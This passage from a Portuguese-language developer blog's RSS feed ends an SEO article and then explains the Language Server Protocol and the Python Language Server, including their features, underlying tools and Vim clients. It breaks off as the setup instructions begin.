  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;span&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;itemprop&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;genre&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;Science fiction&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;span&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;a&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;../movies/avatar-theatrical-trailer.html&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;itemprop&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;trailer&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;Trailer&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;a&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note a presença de atributos como &lt;code class=&quot;language-text&quot;&gt;itemscope&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;itemtype&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;itemprop&lt;/code&gt;. Leia mais sobre &lt;a href=&quot;https://schema.org/&quot; title=&quot;a collaborative, community activity with a mission to create, maintain, and promote schemas for structured data on the Internet, on web pages, in email messages, and beyond&quot;&gt;Schema.org&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Aqui, estamos falando de uma tarefa dividida entre o desenvolvedor e o arquiteto da informação. Não acredito que a sua utilização fará alguma diferença para o usuário em seu navegador, porém, outras &quot;máquinas&quot; (como o &lt;em&gt;Facebook&lt;/em&gt; ou a busca do &lt;em&gt;Google&lt;/em&gt;) podem tirar proveito disso para entender mais sobre o seu conteúdo.&lt;/p&gt;
&lt;h3&gt;Mobile&lt;/h3&gt;
&lt;p&gt;Praticar o &lt;a href=&quot;http://bradfrost.com/blog/post/mobile-first-responsive-web-design/&quot; title=&quot;mobile-first responsive web design&quot;&gt;&lt;em&gt;Mobile-First&lt;/em&gt;&lt;/a&gt;, é uma prática mais que essencial no seu processo de desenvolvimento. O &lt;em&gt;Google&lt;/em&gt; possui uma &lt;a href=&quot;https://search.google.com/test/mobile-friendly&quot; title=&quot;Mobile-Friendly&quot;&gt;ferramenta bem interessante&lt;/a&gt; que valida se o seu &lt;em&gt;website&lt;/em&gt; está otimizado para dispositivos móveis.&lt;/p&gt;
&lt;p&gt;Puramente técnica essa parte, com responsabilidade dividida entre engenharia, &lt;em&gt;design&lt;/em&gt; e arquitetura da informação. Se você estiver utilizando &lt;a href=&quot;https://www.smashingmagazine.com/2011/01/guidelines-for-responsive-web-design/&quot; title=&quot;Responsive web Design – What It Is And How To Use It&quot;&gt;&lt;em&gt;Responsive Design&lt;/em&gt;&lt;/a&gt; e pensando na renderização do site primeiro no &lt;em&gt;mobile&lt;/em&gt;, você já está no caminho certo.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Do ponto de vista do desenvolvedor &lt;em&gt;web&lt;/em&gt;, produzir uma solução seguindo as boas práticas amplamente conhecidas no mercado (de desenvolvimento, segurança e performance), e tendo como ponto focal o usuário e sua usabilidade/acessibilidade, produzirá quase o mesmo resultado que desenvolver orientado à otimizações para mecanismos de busca.&lt;/p&gt;
&lt;p&gt;Mas vale levar em consideração que a técnica não para por aí. &lt;em&gt;Design&lt;/em&gt; e arquitetura da informação também são fundamentais para atingirmos tais resultados. Não subestime o seu time de &lt;em&gt;UX&lt;/em&gt;! Eles provavelmente entendem mais sobre o comportamento e contexto do usuário do que você (programador).&lt;/p&gt;
&lt;p&gt;Ainda há o aspecto de &lt;em&gt;marketing&lt;/em&gt; e publicidade do conteúdo. Essa é uma área na qual eu sou um completo ignorante, portanto, só posso imaginar que exista uma gama de práticas e ferramentas que devem fazer parte do dia a dia desse profissional.&lt;/p&gt;
&lt;p&gt;Talvez a palavra &quot;otimizar&quot; dê a impressão que &quot;algo além&quot; deva ser feito para atingir determinados resultados. E no fim das contas, isso faz sentido. &lt;em&gt;SEO&lt;/em&gt; abrange diferentes disciplinas que, separadas podem resultar em produtos razoáveis, mas que unidas em um objetivo comum são mais propensas a ter um bom resultado.&lt;/p&gt;
&lt;p&gt;De qualquer forma, dar uma ajudinha na indexação do seu conteúdo não faz mal a ninguém.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://resultadosdigitais.com.br/especiais/o-que-e-seo/&quot;&gt;Resultados Digitais: Tudo sobre Search Engine Optimization&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[LSP e o PyLS]]></title><description><![CDATA[Uma das virtudes do VS Code é como ele integra-se facilmente com diferentes linguagens.
O esforço é pequeno, geralmente resumindo-se à…]]></description><link>https://klauslaube.com.br/2019/05/24/lsp-e-o-pyls.html</link><guid isPermaLink="false">https://klauslaube.com.br/2019/05/24/lsp-e-o-pyls.html</guid><pubDate>Fri, 24 May 2019 10:53:00 GMT</pubDate><content:encoded>&lt;p&gt;Uma das virtudes do &lt;a href=&quot;/tag/vscode.html&quot; title=&quot;Leia mais sobre o editor&quot;&gt;&lt;em&gt;VS Code&lt;/em&gt;&lt;/a&gt; é como ele integra-se facilmente com diferentes linguagens.
O esforço é pequeno, geralmente resumindo-se à instalação de um único &lt;em&gt;plugin&lt;/em&gt;. Essa característica o torna uma ferramenta extremamente
produtiva, e que vem conquistando o coração dos desenvolvedores ao redor do mundo.&lt;/p&gt;
&lt;p&gt;O curioso é que o &lt;em&gt;VS Code&lt;/em&gt; utiliza um protocolo aberto para ter esse &quot;jeitão&quot; de &lt;em&gt;IDE&lt;/em&gt;, chamado &lt;em&gt;Language Server Protocol&lt;/em&gt;,
que entre outras funcionalidades traz ao editor a possibilidade de &lt;em&gt;autocomplete&lt;/em&gt;, &lt;em&gt;go to definition&lt;/em&gt;, &lt;em&gt;diagnosis&lt;/em&gt; e &lt;em&gt;documentation&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;É... &lt;em&gt;Microsoft&lt;/em&gt; popularizando protocolos abertos. Tempos interessantes esses que vivemos, não?&lt;/p&gt;
&lt;h2&gt;LSP - Language Server Protocol&lt;/h2&gt;
&lt;p&gt;Durante o desenvolvimento do &lt;em&gt;VS Code&lt;/em&gt;, a &lt;em&gt;Microsoft&lt;/em&gt; introduziu o &lt;a href=&quot;https://microsoft.github.io/language-server-protocol/&quot; title=&quot;Leia na página oficial do projeto&quot;&gt;&lt;em&gt;Language Server Protocol&lt;/em&gt;&lt;/a&gt;.
O &lt;a href=&quot;https://langserver.org/&quot; title=&quot;A community-driven source of knowledge for Language Server Protocol implementations&quot;&gt;langserver.org&lt;/a&gt; o define da seguinte forma:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Language Server protocol is used between a tool (the client) and a language smartness provider (the server) to integrate
features like auto complete, go to definition, find all references and alike into the tool.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Em outras palavras, é um &lt;a href=&quot;https://microsoft.github.io/language-server-protocol/specification&quot; title=&quot;Leia a especificação completa&quot;&gt;protocolo&lt;/a&gt; que descreve
a comunicação entre um cliente (um editor de textos, por exemplo) e um servidor (ligado à uma determinada linguagem), com a motivação de proporcionar e enriquecer
ferramentas de desenvolvimento.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 650px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/df33db8630f02f86d5ccbf4b680a3164/6aca1/vim-lsp.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 45.3125%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAJABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAECAwX/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIQAxAAAAHutUZlh//EABYQAQEBAAAAAAAAAAAAAAAAABACMf/aAAgBAQABBQInH//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABYQAAMAAAAAAAAAAAAAAAAAABAgIf/aAAgBAQAGPwIVP//EABwQAAICAgMAAAAAAAAAAAAAAAERADEQIUFR8P/aAAgBAQABPyH1Rl1ruOSY3zBn/9oADAMBAAIAAwAAABATD//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8QP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8QP//EABsQAQACAgMAAAAAAAAAAAAAAAEAMRBBEXHh/9oACAEBAAE/ENHiUk9kfJBEaSxGsf/Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Ilustração de como funciona a comunicação entre cliente e servidor (kieranbamforth.me)&quot;
        title=&quot;Ilustração de como funciona a comunicação entre cliente e servidor (kieranbamforth.me)&quot;
        src=&quot;/static/df33db8630f02f86d5ccbf4b680a3164/6aca1/vim-lsp.jpg&quot;
        srcset=&quot;/static/df33db8630f02f86d5ccbf4b680a3164/7809d/vim-lsp.jpg 192w,
/static/df33db8630f02f86d5ccbf4b680a3164/4ecad/vim-lsp.jpg 384w,
/static/df33db8630f02f86d5ccbf4b680a3164/6aca1/vim-lsp.jpg 650w&quot;
        sizes=&quot;(max-width: 650px) 100vw, 650px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Ilustração de como funciona a comunicação entre cliente e servidor (kieranbamforth.me)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Ou seja, podemos ter uma solução única para &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, que traga as mesmas funcionalidades para diferentes
editores ou &lt;em&gt;IDEs&lt;/em&gt;. Em contrapartida, podemos ter um único editor que suporte diferentes linguagens e tais funcionalidades avançadas.
O &lt;em&gt;langserver.org&lt;/em&gt; chama esse problema de &quot;The Matrix Problem&quot;:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/1c782901e02af07ed2b0824bf19b1e38/50383/lsp-the-matrix-problem.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 20.833333333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAjUlEQVQI132NwQ7DIAxD+f9P3GWioqChAWqhUCBhs4oq7TQfIr9gB3FcstZKKbXWxpiUEjbnLaD3Xi5yXVcElFLOuXRgHUVrrdaKiQIMHlD43IIfY8CE5My+lFJqq8B3fKntKUIIRIQEM885zSzjfs4ZxkWLdM6lnAVody3DQ+C3P2W6BCKmzv0He+f2Bfio5vTEkYtPAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Com LSP, temos Go funcionando para diferentes editores, seguindo os mesmos princípios (langserver.org)&quot;
        title=&quot;Com LSP, temos Go funcionando para diferentes editores, seguindo os mesmos princípios (langserver.org)&quot;
        src=&quot;/static/1c782901e02af07ed2b0824bf19b1e38/50383/lsp-the-matrix-problem.png&quot;
        srcset=&quot;/static/1c782901e02af07ed2b0824bf19b1e38/8514f/lsp-the-matrix-problem.png 192w,
/static/1c782901e02af07ed2b0824bf19b1e38/804b2/lsp-the-matrix-problem.png 384w,
/static/1c782901e02af07ed2b0824bf19b1e38/50383/lsp-the-matrix-problem.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Com LSP, temos Go funcionando para diferentes editores, seguindo os mesmos princípios (langserver.org)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Como afirma o site oficial do projeto:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;LSP is a win for both language providers and tooling vendors!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Como funciona?&lt;/h2&gt;
&lt;p&gt;Na prática, o que acontece é uma comunicação inter-processos entre o &lt;em&gt;language server&lt;/em&gt; e a ferramenta de desenvolvimento. O protocolo utilizado para tal operação é o &lt;em&gt;JSON-RPC&lt;/em&gt;,
um protocolo simples, e com um formato de dados extremamente popular.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/c9ad9f156d904ad0aa69f1e894ffcf4b/50383/language-server-sequence.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 41.66666666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAABYlAAAWJQFJUiTwAAABVklEQVQY00WQz07DMAzG+7YckXgAHoYDEly4AheuiCtI/N2E1qVNnKRNmsRJ2nTD3RBYlmJb+vz9nKrMu/1+f/3ETy5eKe9fJLU0stauVqv1eg0A01RoWGs8vXw7u/o4v/nM00yTqpTleW+Gu2d5+6LXwuUUMSaMkQuxZcx5H1PKObs4Pbx1tP3xqy/zQdx1HUjpjM452ZB0b763vG5h04iaAwO95WrTwKaFzrqxTENcKI5RIaJzbhicT2OjPQcpVCekpmw4NEJK3YMig461QlvssRCI9yGlVP2tyWUnh7xtgawaoRhXVLNWUt0I8peMSxvGzo9aSTqHc74413WtpCQx2Dj4yJVhBzFpFiVoJnQL2jh0sfRhOv7oL7YxhsAxTzbOiJGDIvhWSMIm1OMJ1MY8pmln8CA+RBWOQUfEbGNxAY0LQ1gQrMPBowuJkmpMYxxni//OP5sDvnzeTnatAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Exemplo de como funciona a comunicação entre cliente e servidor (microsoft.github.io)&quot;
        title=&quot;Exemplo de como funciona a comunicação entre cliente e servidor (microsoft.github.io)&quot;
        src=&quot;/static/c9ad9f156d904ad0aa69f1e894ffcf4b/50383/language-server-sequence.png&quot;
        srcset=&quot;/static/c9ad9f156d904ad0aa69f1e894ffcf4b/8514f/language-server-sequence.png 192w,
/static/c9ad9f156d904ad0aa69f1e894ffcf4b/804b2/language-server-sequence.png 384w,
/static/c9ad9f156d904ad0aa69f1e894ffcf4b/50383/language-server-sequence.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de como funciona a comunicação entre cliente e servidor (microsoft.github.io)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Nem toda linguagem pode suportar todas as funcionalidade definidas pelo protocolo (o mesmo vale para as ferramentas de desenvolvimento), mas isso não impede a sua adoção.
O protocolo permite que tanto cliente como servidor &quot;anunciem&quot; suas capacidades, portanto, as duas pontas podem ter um comportamento preventivo quando determinada capacidade
(como &lt;em&gt;go to definition&lt;/em&gt;) não é suportada.&lt;/p&gt;
&lt;h2&gt;PyLS - Python Language Server&lt;/h2&gt;
&lt;p&gt;Para &lt;em&gt;Python&lt;/em&gt;, além do &lt;em&gt;language server&lt;/em&gt; implementado pela própria &lt;em&gt;Microsoft&lt;/em&gt; e &lt;a href=&quot;https://github.com/microsoft/python-language-server&quot; title=&quot;Repositório do Microsoft Python Language Server&quot;&gt;usado no &lt;em&gt;VS Code&lt;/em&gt;&lt;/a&gt;,
temos o &lt;a href=&quot;https://github.com/palantir/python-language-server&quot; title=&quot;Repositório do projeto&quot;&gt;&lt;em&gt;Python Language Server&lt;/em&gt;&lt;/a&gt;. Ele conta com as seguintes funcionalidades:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Auto completion&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Code linting&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Signature help&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Go to definition&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Hover&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Find references&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Document symbols&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Document formatting&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;O que acho mais interessante em relação ao projeto é que ele não reinventa a roda. Por exemplo, ele não implementa uma nova ferramenta de &lt;em&gt;linting&lt;/em&gt;, pelo contrário, ele utiliza ferramentas
que já são bem conhecidas pela comunidade:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Auto completion&lt;/em&gt;, &lt;em&gt;definitions&lt;/em&gt;, &lt;em&gt;hover&lt;/em&gt;, &lt;em&gt;references&lt;/em&gt;, &lt;em&gt;signature help&lt;/em&gt; e &lt;em&gt;symbols&lt;/em&gt; são resolvidos via &lt;a href=&quot;https://github.com/davidhalter/jedi&quot; title=&quot;Awesome completion and static analysis for Python&quot;&gt;&lt;em&gt;Jedi&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Auto completion&lt;/em&gt; e &lt;em&gt;renaming&lt;/em&gt; é resolvido via &lt;a href=&quot;https://github.com/python-rope/rope&quot; title=&quot;Python refactoring library&quot;&gt;&lt;em&gt;Rope&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Linting&lt;/em&gt; é resolvido via &lt;a href=&quot;https://github.com/PyCQA/mccabe&quot; title=&quot;McCabe complexity checker&quot;&gt;&lt;em&gt;McCabe&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;https://github.com/PyCQA/pyflakes&quot; title=&quot;Checks Python source files for errors&quot;&gt;&lt;em&gt;Pyflakes&lt;/em&gt;&lt;/a&gt;, &lt;a href=&quot;https://github.com/pycqa/pycodestyle&quot; title=&quot;Python style checker&quot;&gt;&lt;em&gt;pycodestyle&lt;/em&gt;&lt;/a&gt;
e &lt;a href=&quot;https://github.com/PyCQA/pydocstyle&quot; title=&quot;Docstring style checker&quot;&gt;&lt;em&gt;pydocstyle&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Formatting&lt;/em&gt; é resolvido via &lt;a href=&quot;https://github.com/hhatto/autopep8&quot; title=&quot;Formats Python code to PEP 8&quot;&gt;&lt;em&gt;autopep8&lt;/em&gt;&lt;/a&gt;
e &lt;a href=&quot;https://github.com/google/yapf&quot; title=&quot;A formatter for Python files&quot;&gt;&lt;em&gt;YAPF&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Há um certo grau de customização, como por exemplo usar o &lt;a href=&quot;/2019/02/07/deixe-darem-pitaco-no-seu-codigo-com-black.html&quot; title=&quot;Leia mais sobre Black&quot;&gt;&lt;em&gt;Black&lt;/em&gt;&lt;/a&gt; ao invés de &lt;em&gt;YAPF&lt;/em&gt;. Discutiremos
mais sobre esse tópico a seguir.&lt;/p&gt;
&lt;h2&gt;Clientes LSP&lt;/h2&gt;
&lt;p&gt;Segundo o &lt;em&gt;langserver.org&lt;/em&gt;, os principais &lt;em&gt;IDEs&lt;/em&gt; e editores já possuem alguma forma de cliente implementado. Seja através de extensões (como &lt;em&gt;JetBrains IDE&lt;/em&gt;, &lt;a href=&quot;/tag/vim.html&quot; title=&quot;Leia mais sobre Vim&quot;&gt;&lt;em&gt;Vim&lt;/em&gt;&lt;/a&gt;,
&lt;em&gt;Sublime&lt;/em&gt;, &lt;em&gt;Atom&lt;/em&gt; e &lt;em&gt;Emacs&lt;/em&gt;), ou através de suporte &lt;em&gt;built-in&lt;/em&gt; (como &lt;em&gt;VS Code&lt;/em&gt; e &lt;em&gt;Oni&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/86cf2a69117e22c87b361033b5154429/07f3a/lsp-one-ring.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAECBP/EABUBAQEAAAAAAAAAAAAAAAAAAAAD/9oADAMBAAIQAxAAAAHDac6SaA//xAAaEAADAQADAAAAAAAAAAAAAAAAARECAxMi/9oACAEBAAEFAuPxqNnUhoy47T//xAAVEQEBAAAAAAAAAAAAAAAAAAAQEf/aAAgBAwEBPwGH/8QAFhEAAwAAAAAAAAAAAAAAAAAAARAR/9oACAECAQE/AaV//8QAGRAAAgMBAAAAAAAAAAAAAAAAABEBEDFh/9oACAEBAAY/AtFDXDbZ/8QAGxAAAgIDAQAAAAAAAAAAAAAAAAERITFBYVH/2gAIAQEAAT8hyFF9LaHB+lCZlUzp2bSP/9oADAMBAAIAAwAAABCTD//EABYRAQEBAAAAAAAAAAAAAAAAAAARAf/aAAgBAwEBPxCEx//EABcRAAMBAAAAAAAAAAAAAAAAAAABEVH/2gAIAQIBAT8QwZWf/8QAGxABAAMAAwEAAAAAAAAAAAAAAQARITFBUZH/2gAIAQEAAT8QBuoRQJTAWwLeHN68dS1qvGrmpKZk6zA8B+EyoW+T/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;O Um Anel&quot;
        title=&quot;Sauron faz um anel para juntar a todos. Sem querer comparar Microsoft com Sauron, mas espero que isso não acabe em uma guerra (lego-lord-of-the-rings.wikia.com)&quot;
        src=&quot;/static/86cf2a69117e22c87b361033b5154429/07f3a/lsp-one-ring.jpg&quot;
        srcset=&quot;/static/86cf2a69117e22c87b361033b5154429/7809d/lsp-one-ring.jpg 192w,
/static/86cf2a69117e22c87b361033b5154429/4ecad/lsp-one-ring.jpg 384w,
/static/86cf2a69117e22c87b361033b5154429/07f3a/lsp-one-ring.jpg 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Sauron faz um anel para juntar a todos. Sem querer comparar Microsoft com Sauron, mas espero que isso não acabe em uma guerra (lego-lord-of-the-rings.wikia.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Para &lt;em&gt;Vim&lt;/em&gt;, uma opção que tenho usado com sucesso é o &lt;a href=&quot;https://github.com/autozimu/LanguageClient-neovim&quot; title=&quot;Repositório oficial do projeto&quot;&gt;&lt;em&gt;LanguageClient-neovim&lt;/em&gt;&lt;/a&gt;, que embora possa parecer
exclusivo para o &lt;em&gt;Neovim&lt;/em&gt;, possui suporte para &lt;em&gt;Vim 8.x&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Na prática&lt;/h2&gt;
&lt;h3&gt;Configurando o servidor&lt;/h3&gt;
&lt;p&gt;Vamos para um exemplo prático de como usar &lt;em&gt;LSP&lt;/em&gt; e &lt;em&gt;Vim&lt;/em&gt; com &lt;em&gt;Python&lt;/em&gt;. Mas antes, deixa eu definir algumas &lt;em&gt;constraints&lt;/em&gt; do meu ambiente de desenvolvimento:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Quero utilizar &lt;em&gt;flake8&lt;/em&gt; ao invés de &lt;em&gt;pycodestyle&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;Quero utilizar &lt;em&gt;Black&lt;/em&gt; ao invés de &lt;em&gt;YAPF&lt;/em&gt; ou &lt;em&gt;autopep8&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;Quero utilizar &lt;em&gt;isort&lt;/em&gt; como uma das opções de formatação.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Para começar, vamos instalar o &lt;em&gt;language server&lt;/em&gt;. Eu prefiro tê-lo dentro do &lt;a href=&quot;/tag/virtualenv.html&quot; title=&quot;Leia mais sobre Virtualenv&quot;&gt;ambiente virtual&lt;/a&gt; do projeto em que estou trabalhando. É trabalhoso
e repetitivo se você estiver trabalhando em diferentes projetos e &lt;em&gt;virtualenvs&lt;/em&gt;!
